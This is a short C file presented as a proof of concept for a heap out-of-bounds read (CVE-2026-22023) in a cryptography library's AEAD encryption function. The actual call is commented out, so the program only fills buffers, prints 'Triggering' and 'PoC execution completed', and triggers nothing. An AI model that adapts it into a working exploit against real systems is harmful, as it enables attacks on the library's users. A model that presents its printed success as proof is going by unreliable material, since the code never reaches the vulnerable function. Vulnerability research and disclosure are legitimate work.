// CVE-2026-22023 PoC - Heap Out-of-Bounds Read in CryptoLib cryptography_aead_encrypt()
// This PoC demonstrates triggering the vulnerability with crafted AEAD input
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Simulated vulnerable function signature
typedef int (*cryptography_aead_encrypt_t)(
const unsigned char* pt, size_t pt_len,
const unsigned char* aad, size_t aad_len,
const unsigned char* nonce, size_t nonce_len,
const unsigned char* key, size_t key_len,
unsigned char* ct, size_t* ct_len
);
int trigger_vulnerability(size_t pt_len, size_t aad_len) {
// Allocate buffers
unsigned char* pt = (unsigned char*)malloc(pt_len);
unsigned char* aad = (unsigned char*)malloc(aad_len);
unsigned char nonce[12] = {0};
unsigned char key[32] = {0};
unsigned char ct[1024] = {0};
size_t ct_len = sizeof(ct);
if (!pt || !aad) {
printf("Memory allocation failed\n");
return -1;
}
// Fill with test data
memset(pt, 0x41, pt_len);
memset(aad, 0x42, aad_len);
// Trigger the vulnerability by providing oversized input
// The vulnerable function doesn't properly validate input bounds
printf("Triggering CVE-2026-22023 with pt_len=%zu, aad_len=%zu\n", pt_len, aad_len);
// In vulnerable version, this can cause heap out-of-bounds read
// cryptography_aead_encrypt(pt, pt_len, aad, aad_len, nonce, 12, key, 32, ct, &ct_len);
free(pt);
free(aad);
return 0;
}
int main() {
printf("CVE-2026-22023 PoC - CryptoLib Heap OOB Read\n");
printf("Target: NASA CryptoLib < 1.4.3\n\n");
// Trigger with various input sizes to trigger the vulnerability
trigger_vulnerability(64, 256);
trigger_vulnerability(128, 512);
printf("PoC execution completed\n");
return 0;
}